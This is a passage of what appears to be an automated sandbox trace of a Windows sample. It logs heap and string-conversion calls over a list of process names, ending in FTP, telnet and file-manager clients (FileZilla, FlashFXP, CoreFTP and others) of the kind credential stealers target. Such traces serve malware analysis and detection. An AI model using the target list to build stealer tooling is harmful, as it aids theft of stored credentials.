0x94f478 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8908 [0038.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x9d87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8950 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8950) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8950 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8950) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2aa8 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f500 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8950 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8998) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2b08 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f588 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8998 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sppsvc.exe", cchWideChar=10, lpMultiByteStr=0x9d87e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe", lpUsedDefaultChar=0x0) returned 10 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d89e0) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0038.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d89e0) returned 1 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2b68 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f610 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d89e0 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x9d87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a28 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a28) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a28 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a28) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2bc8 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a28 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trail_experiences.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trail_experiences.exe", cchWideChar=21, lpMultiByteStr=0x9d87e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trail_experiences.exe", lpUsedDefaultChar=0x0) returned 21 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a70 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a70) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a70 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8a70) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2c28 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f720 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8a70 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="approaches.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="approaches.exe", cchWideChar=14, lpMultiByteStr=0x9d87e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="approaches.exe", lpUsedDefaultChar=0x0) returned 14 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8ab8 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8ab8) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8ab8 [0038.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8ab8) returned 1 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2c88 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f7a8 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8ab8 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="choosing.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="choosing.exe", cchWideChar=12, lpMultiByteStr=0x9d87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="choosing.exe", lpUsedDefaultChar=0x0) returned 12 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b00 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b00) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b00 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b00) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2ce8 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f830 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b00 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bond.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bond.exe", cchWideChar=8, lpMultiByteStr=0x9d87e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bond.exe", lpUsedDefaultChar=0x0) returned 8 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b48 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b48) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b48 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b48) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2d48 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f8b8 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b48 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="patch-mit.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d87e8 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="patch-mit.exe", cchWideChar=13, lpMultiByteStr=0x9d87e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="patch-mit.exe", lpUsedDefaultChar=0x0) returned 13 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b90 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d87e8) returned 1 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b90) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x9d8b90 [0038.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d8b90) returned 1 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x58) returned 0x9d2da8 [0038.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f940 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="application.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="application.exe", cchWideChar=15, lpMultiByteStr=0x9d87e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="application.exe", lpUsedDefaultChar=0x0) returned 15 [0038.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infected-boards.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infected-boards.exe", cchWideChar=19, lpMultiByteStr=0x9d87e8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="infected-boards.exe", lpUsedDefaultChar=0x0) returned 19 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ill-multiple.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ill-multiple.exe", cchWideChar=16, lpMultiByteStr=0x9d87e8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ill-multiple.exe", lpUsedDefaultChar=0x0) returned 16 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accredited viruses fund.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="accredited viruses fund.exe", cchWideChar=27, lpMultiByteStr=0x9d87e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accredited viruses fund.exe", lpUsedDefaultChar=0x0) returned 27 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recognize labels.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recognize labels.exe", cchWideChar=20, lpMultiByteStr=0x9d87e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recognize labels.exe", lpUsedDefaultChar=0x0) returned 20 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discount-appearance.exe", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discount-appearance.exe", cchWideChar=23, lpMultiByteStr=0x9d87e8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discount-appearance.exe", lpUsedDefaultChar=0x0) returned 23 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="paintball-indie-bailey.exe", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="paintball-indie-bailey.exe", cchWideChar=26, lpMultiByteStr=0x9d87e8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="paintball-indie-bailey.exe", lpUsedDefaultChar=0x0) returned 26 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kindsbradwindsor.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kindsbradwindsor.exe", cchWideChar=20, lpMultiByteStr=0x9d87e8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kindsbradwindsor.exe", lpUsedDefaultChar=0x0) returned 20 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threshold.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threshold.exe", cchWideChar=13, lpMultiByteStr=0x9d87e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="threshold.exe", lpUsedDefaultChar=0x0) returned 13 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="configurations.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="configurations.exe", cchWideChar=18, lpMultiByteStr=0x9d87e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="configurations.exe", lpUsedDefaultChar=0x0) returned 18 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stick-hotels.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stick-hotels.exe", cchWideChar=16, lpMultiByteStr=0x9d4868, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stick-hotels.exe", lpUsedDefaultChar=0x0) returned 16 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="babe_enormous.exe", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="babe_enormous.exe", cchWideChar=17, lpMultiByteStr=0x9d48b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="babe_enormous.exe", lpUsedDefaultChar=0x0) returned 17 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hide-mesa.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hide-mesa.exe", cchWideChar=13, lpMultiByteStr=0x9d48b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hide-mesa.exe", lpUsedDefaultChar=0x0) returned 13 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="quantitative.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0038.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="quantitative.exe", cchWideChar=16, lpMultiByteStr=0x9d48b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="quantitative.exe", lpUsedDefaultChar=0x0) returned 16 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="3dftp.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3dftp.exe", lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="absolutetelnet.exe", cchWideChar=18, lpMultiByteStr=0x9d48b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="absolutetelnet.exe", lpUsedDefaultChar=0x0) returned 18 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alftp.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alftp.exe", lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="barca.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="barca.exe", lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitkinex.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitkinex.exe", lpUsedDefaultChar=0x0) returned 12 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="coreftp.exe", cchWideChar=11, lpMultiByteStr=0x9d48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="coreftp.exe", lpUsedDefaultChar=0x0) returned 11 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="far.exe", cchWideChar=7, lpMultiByteStr=0x9d48b0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="far.exe", lpUsedDefaultChar=0x0) returned 7 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filezilla.exe", cchWideChar=13, lpMultiByteStr=0x9d48b0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filezilla.exe", lpUsedDefaultChar=0x0) returned 13 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashfxp.exe", cchWideChar=12, lpMultiByteStr=0x9d48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashfxp.exe", lpUsedDefaultChar=0x0) returned 12 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fling.exe", cchWideChar=9, lpMultiByteStr=0x9d48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fling.exe", 